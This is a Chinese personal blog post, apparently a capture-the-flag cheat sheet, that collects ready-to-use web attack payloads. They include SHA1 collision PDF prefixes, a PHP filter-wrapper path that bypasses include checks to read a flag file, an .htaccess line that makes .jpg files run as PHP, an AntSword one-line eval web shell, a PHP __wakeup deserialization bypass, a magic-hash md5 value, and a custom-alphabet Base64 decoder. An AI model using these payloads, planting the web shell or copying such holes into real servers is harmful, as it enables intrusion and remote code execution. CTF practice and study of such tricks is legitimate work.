<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 5.2.0">
  <link rel="apple-touch-icon" sizes="180x180" href="/bug-ddblog-punish/images/apple-touch-icon-next.png">
  <link rel="icon" type="image/png" sizes="32x32" href="/bug-ddblog-punish/images/favicon-32x32-next.png">
  <link rel="icon" type="image/png" sizes="16x16" href="/bug-ddblog-punish/images/favicon-16x16-next.png">
  <link rel="mask-icon" href="/bug-ddblog-punish/images/logo.svg" color="#222">

<link rel="stylesheet" href="/bug-ddblog-punish/css/main.css">


<link rel="stylesheet" href="/bug-ddblog-punish/lib/font-awesome/css/all.min.css">
  <link rel="stylesheet" href="/bug-ddblog-punish/lib/pace/pace-theme-center-atom.min.css">
  <script src="/bug-ddblog-punish/lib/pace/pace.min.js"></script>

<script id="hexo-configurations">
    var NexT = window.NexT || {};
    var CONFIG = {"hostname":"giant-whale.gitee.io","root":"/bug-ddblog-punish/","scheme":"Mist","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":true,"show_result":true,"style":null},"back2top":{"enable":true,"sidebar":false,"scrollpercent":false},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":1,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.xml"};
  </script>

  <meta name="description" content="常见Payload集合">
<meta property="og:type" content="article">
<meta property="og:title" content="Payload">
<meta property="og:url" content="https://giant-whale.gitee.io/bug-ddblog-punish/p/2375111561/index.html">
<meta property="og:site_name" content="bugDD">
<meta property="og:description" content="常见Payload集合">
<meta property="og:locale" content="zh_CN">
<meta property="article:published_time" content="2020-10-12T03:11:08.000Z">
<meta property="article:modified_time" content="2020-11-28T10:09:37.163Z">
<meta property="article:author" content="Zhou Hao">
<meta property="article:tag" content="Payload">
<meta name="twitter:card" content="summary">

<link rel="canonical" href="https://giant-whale.gitee.io/bug-ddblog-punish/p/2375111561/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'zh-CN'
  };
</script>

  <title>Payload | bugDD</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/bug-ddblog-punish/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">bugDD</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
      <p class="site-subtitle" itemprop="description">bugDD Blog</p>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
        <i class="fa fa-search fa-fw fa-lg"></i>
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/bug-ddblog-punish/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/bug-ddblog-punish/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>

  </li>
      <li class="menu-item menu-item-search">
        <a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
        </a>
      </li>
  </ul>
</nav>



  <div class="search-pop-overlay">
    <div class="popup search-popup">
        <div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input-container">
    <input autocomplete="off" autocapitalize="off"
           placeholder="搜索..." spellcheck="false"
           type="search" class="search-input">
  </div>
  <span class="popup-btn-close">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div id="search-result">
  <div id="no-result">
    <i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
  </div>
</div>

    </div>
  </div>

</div>
    </header>

    
  <div class="back-to-top">
    <i class="fa fa-arrow-up"></i>
    <span>0%</span>
  </div>
  <div class="reading-progress-bar"></div>


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="https://giant-whale.gitee.io/bug-ddblog-punish/p/2375111561/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/bug-ddblog-punish/images/avatar.gif">
      <meta itemprop="name" content="Zhou Hao">
      <meta itemprop="description" content="bugDD的日常总结">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="bugDD">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          Payload
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              <time title="创建时间：2020-10-12 11:11:08" itemprop="dateCreated datePublished" datetime="2020-10-12T11:11:08+08:00">2020-10-12</time>
            </span>
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="far fa-calendar-check"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2020-11-28 18:09:37" itemprop="dateModified" datetime="2020-11-28T18:09:37+08:00">2020-11-28</time>
              </span>

          
            <div class="post-description">常见Payload集合</div>

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <h3 id="SHA1-真碰撞Payload"><a href="#SHA1-真碰撞Payload" class="headerlink" title="SHA1 真碰撞Payload"></a>SHA1 真碰撞Payload</h3><p>Param1:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C&#x2F;Width%202%200%20R&#x2F;Height%203%200%20R&#x2F;Type%204%200%20R&#x2F;Subtype%205%200%20R&#x2F;Filter%206%200%20R&#x2F;ColorSpace%207%200%20R&#x2F;Length%208%200%20R&#x2F;BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85&#x2F;%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2&#x2F;%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1</span><br></pre></td></tr></table></figure>

<p>Param2:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C&#x2F;Width%202%200%20R&#x2F;Height%203%200%20R&#x2F;Type%204%200%20R&#x2F;Subtype%205%200%20R&#x2F;Filter%206%200%20R&#x2F;ColorSpace%207%200%20R&#x2F;Length%208%200%20R&#x2F;BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85&#x2F;%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr&#x2F;%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1</span><br></pre></td></tr></table></figure>

<h3 id="PHP重复包含"><a href="#PHP重复包含" class="headerlink" title="PHP重复包含"></a>PHP重复包含</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">php:<span class="comment">//filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php</span></span><br></pre></td></tr></table></figure>

<ul>
<li>注意：/root/var/www/html/flag.php为文件路径</li>
</ul>
<h3 id="Apache-htaccess"><a href="#Apache-htaccess" class="headerlink" title="Apache htaccess"></a>Apache htaccess</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AddType application&#x2F;x-httpd-php .jpg</span><br></pre></td></tr></table></figure>

<h3 id="蚁剑一句话"><a href="#蚁剑一句话" class="headerlink" title="蚁剑一句话"></a>蚁剑一句话</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span> @<span class="keyword">eval</span>($_POST[a]);<span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>其中a为密码。</p>
<h3 id="PHP-wakeup绕过"><a href="#PHP-wakeup绕过" class="headerlink" title="PHP __wakeup绕过"></a>PHP __wakeup绕过</h3><p>令序列化对象数不一致即可，例如：</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">原本：O:<span class="number">5</span>:<span class="string">&quot;happy&quot;</span>:<span class="number">1</span>:&#123;s:<span class="number">4</span>:<span class="string">&quot;file&quot;</span>;s:<span class="number">8</span>:<span class="string">&quot;flflagag.php&quot;</span>;&#125;</span><br><span class="line">改为：O:<span class="number">5</span>:<span class="string">&quot;happy&quot;</span>:<span class="number">2</span>:&#123;s:<span class="number">4</span>:<span class="string">&quot;file&quot;</span>;s:<span class="number">8</span>:<span class="string">&quot;flflagag.php&quot;</span>;&#125;</span><br></pre></td></tr></table></figure>

<h3 id="PHP-a-md5-a"><a href="#PHP-a-md5-a" class="headerlink" title="PHP a = md5(a)"></a>PHP a = md5(a)</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0e215962017 </span><br></pre></td></tr></table></figure>

<h3 id="Base64-密钥表更换"><a href="#Base64-密钥表更换" class="headerlink" title="Base64 密钥表更换"></a>Base64 密钥表更换</h3><p>Nodejs:</p>
<figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">BASE64</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// private property</span></span><br><span class="line">    <span class="comment">// Replace the alphabet or the number</span></span><br><span class="line">    <span class="comment">// if coding as G-&gt;A</span></span><br><span class="line">    <span class="comment">// you should replace A-&gt;G and G-&gt;A</span></span><br><span class="line">    <span class="comment">// for example :</span></span><br><span class="line">    <span class="comment">// we let G to O -&gt; Q to Y</span></span><br><span class="line">    <span class="comment">// then you should let set _ketStr to be:</span></span><br><span class="line">    <span class="comment">// ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789</span></span><br><span class="line">    _keyStr = <span class="string">&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=&quot;</span>;</span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">    <span class="comment">// public method for encoding</span></span><br><span class="line">    <span class="built_in">this</span>.encode = <span class="function"><span class="keyword">function</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">        <span class="keyword">var</span> output = <span class="string">&quot;&quot;</span>;</span><br><span class="line">        <span class="keyword">var</span> chr1, chr2, chr3, enc1, enc2, enc3, enc4;</span><br><span class="line">        <span class="keyword">var</span> i = <span class="number">0</span>;</span><br><span class="line">        input = _utf8_encode(input);</span><br><span class="line">        <span class="keyword">while</span> (i &lt; input.length) &#123;</span><br><span class="line">            chr1 = input.charCodeAt(i++);</span><br><span class="line">            chr2 = input.charCodeAt(i++);</span><br><span class="line">            chr3 = input.charCodeAt(i++);</span><br><span class="line">            enc1 = chr1 &gt;&gt; <span class="number">2</span>;</span><br><span class="line">            enc2 = ((chr1 &amp; <span class="number">3</span>) &lt;&lt; <span class="number">4</span>) | (chr2 &gt;&gt; <span class="number">4</span>);</span><br><span class="line">            enc3 = ((chr2 &amp; <span class="number">15</span>) &lt;&lt; <span class="number">2</span>) | (chr3 &gt;&gt; <span class="number">6</span>);</span><br><span class="line">            enc4 = chr3 &amp; <span class="number">63</span>;</span><br><span class="line">            <span class="keyword">if</span> (<span class="built_in">isNaN</span>(chr2)) &#123;</span><br><span class="line">                enc3 = enc4 = <span class="number">64</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">isNaN</span>(chr3)) &#123;</span><br><span class="line">                enc4 = <span class="number">64</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            output = output +</span><br><span class="line">                _keyStr.charAt(enc1) + _keyStr.charAt(enc2) +</span><br><span class="line">                _keyStr.charAt(enc3) + _keyStr.charAt(enc4);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> output;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// public method for decoding</span></span><br><span class="line">    <span class="built_in">this</span>.decode = <span class="function"><span class="keyword">function</span> (<span class="params">input</span>) </span>&#123;</span><br><span class="line">        <span class="keyword">var</span> output = <span class="string">&quot;&quot;</span>;</span><br><span class="line">        <span class="keyword">var</span> chr1, chr2, chr3;</span><br><span class="line">        <span class="keyword">var</span> enc1, enc2, enc3, enc4;</span><br><span class="line">        <span class="keyword">var</span> i = <span class="number">0</span>;</span><br><span class="line">        input = input.replace(<span class="regexp">/[^A-Za-z0-9\+\/\=]/g</span>, <span class="string">&quot;&quot;</span>);</span><br><span class="line">        <span class="keyword">while</span> (i &lt; input.length) &#123;</span><br><span class="line">            enc1 = _keyStr.indexOf(input.charAt(i++));</span><br><span class="line">            enc2 = _keyStr.indexOf(input.charAt(i++));</span><br><span class="line">            enc3 = _keyStr.indexOf(input.charAt(i++));</span><br><span class="line">            enc4 = _keyStr.indexOf(input.charAt(i++));</span><br><span class="line">            chr1 = (enc1 &lt;&lt; <span class="number">2</span>) | (enc2 &gt;&gt; <span class="number">4</span>);</span><br><span class="line">            chr2 = ((enc2 &amp; <span class="number">15</span>) &lt;&lt; <span class="number">4</span>) | (enc3 &gt;&gt; <span class="number">2</span>);</span><br><span class="line">            chr3 = ((enc3 &amp; <span class="number">3</span>) &lt;&lt; <span class="number">6</span>) | enc4;</span><br><span class="line">            output = output + <span class="built_in">String</span>.fromCharCode(chr1);</span><br><span class="line">            <span class="keyword">if</span> (enc3 != <span class="number">64</span>) &#123;</span><br><span class="line">                output = output + <span class="built_in">String</span>.fromCharCode(chr2);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (enc4 != <span class="number">64</span>) &#123;</span><br><span class="line">                output = output + <span class="built_in">String</span>.fromCharCode(chr3);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        output = _utf8_decode(output);</span><br><span class="line">        <span class="keyword">return</span> output;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// private method for UTF-8 encoding</span></span><br><span class="line">    _utf8_encode = <span class="function"><span class="keyword">function</span> (<span class="params">string</span>) </span>&#123;</span><br><span class="line">        string = string.replace(<span class="regexp">/\r\n/g</span>, <span class="string">&quot;\n&quot;</span>);</span><br><span class="line">        <span class="keyword">var</span> utftext = <span class="string">&quot;&quot;</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">var</span> n = <span class="number">0</span>; n &lt; string.length; n++) &#123;</span><br><span class="line">            <span class="keyword">var</span> c = string.charCodeAt(n);</span><br><span class="line">            <span class="keyword">if</span> (c &lt; <span class="number">128</span>) &#123;</span><br><span class="line">                utftext += <span class="built_in">String</span>.fromCharCode(c);</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> ((c &gt; <span class="number">127</span>) &amp;&amp; (c &lt; <span class="number">2048</span>)) &#123;</span><br><span class="line">                utftext += <span class="built_in">String</span>.fromCharCode((c &gt;&gt; <span class="number">6</span>) | <span class="number">192</span>);</span><br><span class="line">                utftext += <span class="built_in">String</span>.fromCharCode((c &amp; <span class="number">63</span>) | <span class="number">128</span>);</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                utftext += <span class="built_in">String</span>.fromCharCode((c &gt;&gt; <span class="number">12</span>) | <span class="number">224</span>);</span><br><span class="line">                utftext += <span class="built_in">String</span>.fromCharCode(((c &gt;&gt; <span class="number">6</span>) &amp; <span class="number">63</span>) | <span class="number">128</span>);</span><br><span class="line">                utftext += <span class="built_in">String</span>.fromCharCode((c &amp; <span class="number">63</span>) | <span class="number">128</span>);</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> utftext;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// private method for UTF-8 decoding</span></span><br><span class="line">    _utf8_decode = <span class="function"><span class="keyword">function</span> (<span class="params">utftext</span>) </span>&#123;</span><br><span class="line">        <span class="keyword">var</span> string = <span class="string">&quot;&quot;</span>;</span><br><span class="line">        <span class="keyword">var</span> i = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">var</span> c = c1 = c2 = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">while</span> (i &lt; utftext.length) &#123;</span><br><span class="line">            c = utftext.charCodeAt(i);</span><br><span class="line">            <span class="keyword">if</span> (c &lt; <span class="number">128</span>) &#123;</span><br><span class="line">                string += <span class="built_in">String</span>.fromCharCode(c);</span><br><span class="line">                i++;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> ((c &gt; <span class="number">191</span>) &amp;&amp; (c &lt; <span class="number">224</span>)) &#123;</span><br><span class="line">                c2 = utftext.charCodeAt(i + <span class="number">1</span>);</span><br><span class="line">                string += <span class="built_in">String</span>.fromCharCode(((c &amp; <span class="number">31</span>) &lt;&lt; <span class="number">6</span>) | (c2 &amp; <span class="number">63</span>));</span><br><span class="line">                i += <span class="number">2</span>;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                c2 = utftext.charCodeAt(i + <span class="number">1</span>);</span><br><span class="line">                c3 = utftext.charCodeAt(i + <span class="number">2</span>);</span><br><span class="line">                string += <span class="built_in">String</span>.fromCharCode(((c &amp; <span class="number">15</span>) &lt;&lt; <span class="number">12</span>) | ((c2 &amp; <span class="number">63</span>) &lt;&lt; <span class="number">6</span>) | (c3 &amp; <span class="number">63</span>));</span><br><span class="line">                i += <span class="number">3</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> string;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> s = <span class="string">&#x27;ZmxhZ3tiGNXlXjHfaDTzN2FfK3LycRTpc2L9&#x27;</span>; <span class="comment">// encoding string </span></span><br><span class="line"><span class="keyword">var</span> base = <span class="keyword">new</span> BASE64();</span><br><span class="line"><span class="built_in">console</span>.log(base.decode(s));</span><br></pre></td></tr></table></figure>
    </div>

    
    
    

      <footer class="post-footer">
          <div class="post-tags">
              <a href="/bug-ddblog-punish/tags/Payload/" rel="tag"># Payload</a>
          </div>

        


        
    <div class="post-nav">
      <div class="post-nav-item"></div>
      <div class="post-nav-item">
    <a href="/bug-ddblog-punish/p/59556/" rel="next" title="CUMTCTF-2020-9">
      CUMTCTF-2020-9 <i class="fa fa-chevron-right"></i>
    </a></div>
    </div>
      </footer>
    
  </article>
  
  
  



          </div>
          

<script>
  window.addEventListener('tabs:register', () => {
    let { activeClass } = CONFIG.comments;
    if (CONFIG.comments.storage) {
      activeClass = localStorage.getItem('comments_active') || activeClass;
    }
    if (activeClass) {
      let activeTab = document.querySelector(`a[href="#comment-${activeClass}"]`);
      if (activeTab) {
        activeTab.click();
      }
    }
  });
  if (CONFIG.comments.storage) {
    window.addEventListener('tabs:click', event => {
      if (!event.target.matches('.tabs-comment .tab-content .tab-pane')) return;
      let commentClass = event.target.classList[1];
      localStorage.setItem('comments_active', commentClass);
    });
  }
</script>

        </div>
          
  
  <div class="toggle sidebar-toggle">
    <span class="toggle-line toggle-line-first"></span>
    <span class="toggle-line toggle-line-middle"></span>
    <span class="toggle-line toggle-line-last"></span>
  </div>

  <aside class="sidebar">
    <div class="sidebar-inner">

      <ul class="sidebar-nav motion-element">
        <li class="sidebar-nav-toc">
          文章目录
        </li>
        <li class="sidebar-nav-overview">
          站点概览
        </li>
      </ul>

      <!--noindex-->
      <div class="post-toc-wrap sidebar-panel">
          <div class="post-toc motion-element"><ol class="nav"><li class="nav-item nav-level-3"><a class="nav-link" href="#SHA1-%E7%9C%9F%E7%A2%B0%E6%92%9EPayload"><span class="nav-number">1.</span> <span class="nav-text">SHA1 真碰撞Payload</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#PHP%E9%87%8D%E5%A4%8D%E5%8C%85%E5%90%AB"><span class="nav-number">2.</span> <span class="nav-text">PHP重复包含</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Apache-htaccess"><span class="nav-number">3.</span> <span class="nav-text">Apache htaccess</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#%E8%9A%81%E5%89%91%E4%B8%80%E5%8F%A5%E8%AF%9D"><span class="nav-number">4.</span> <span class="nav-text">蚁剑一句话</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#PHP-wakeup%E7%BB%95%E8%BF%87"><span class="nav-number">5.</span> <span class="nav-text">PHP __wakeup绕过</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#PHP-a-md5-a"><span class="nav-number">6.</span> <span class="nav-text">PHP a &#x3D; md5(a)</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#Base64-%E5%AF%86%E9%92%A5%E8%A1%A8%E6%9B%B4%E6%8D%A2"><span class="nav-number">7.</span> <span class="nav-text">Base64 密钥表更换</span></a></li></ol></div>
      </div>
      <!--/noindex-->

      <div class="site-overview-wrap sidebar-panel">
        <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
  <p class="site-author-name" itemprop="name">Zhou Hao</p>
  <div class="site-description" itemprop="description">bugDD的日常总结</div>
</div>
<div class="site-state-wrap motion-element">
  <nav class="site-state">
      <div class="site-state-item site-state-posts">
          <a href="/bug-ddblog-punish/archives/">
        
          <span class="site-state-item-count">4</span>
          <span class="site-state-item-name">日志</span>
        </a>
      </div>
      <div class="site-state-item site-state-tags">
        <span class="site-state-item-count">3</span>
        <span class="site-state-item-name">标签</span>
      </div>
  </nav>
</div>



      </div>

    </div>
  </aside>
  <div id="sidebar-dimmer"></div>


      </div>
    </main>

    <footer class="footer">
      <div class="footer-inner">
        

        

<div class="copyright">
  
  &copy; 
  <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-heart"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">Zhou Hao</span>
</div>
  <div class="powered-by">由 <a href="https://hexo.io/" class="theme-link" rel="noopener" target="_blank">Hexo</a> & <a href="https://mist.theme-next.org/" class="theme-link" rel="noopener" target="_blank">NexT.Mist</a> 强力驱动
  </div>

        








      </div>
    </footer>
  </div>

  
  <script src="/bug-ddblog-punish/lib/anime.min.js"></script>
  <script src="/bug-ddblog-punish/lib/velocity/velocity.min.js"></script>
  <script src="/bug-ddblog-punish/lib/velocity/velocity.ui.min.js"></script>

<script src="/bug-ddblog-punish/js/utils.js"></script>

<script src="/bug-ddblog-punish/js/motion.js"></script>


<script src="/bug-ddblog-punish/js/schemes/muse.js"></script>


<script src="/bug-ddblog-punish/js/next-boot.js"></script>




  




  
<script src="/bug-ddblog-punish/js/local-search.js"></script>













  

  

  

</body>

<script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.0/canvas-nest.min.js"></script>

</html>
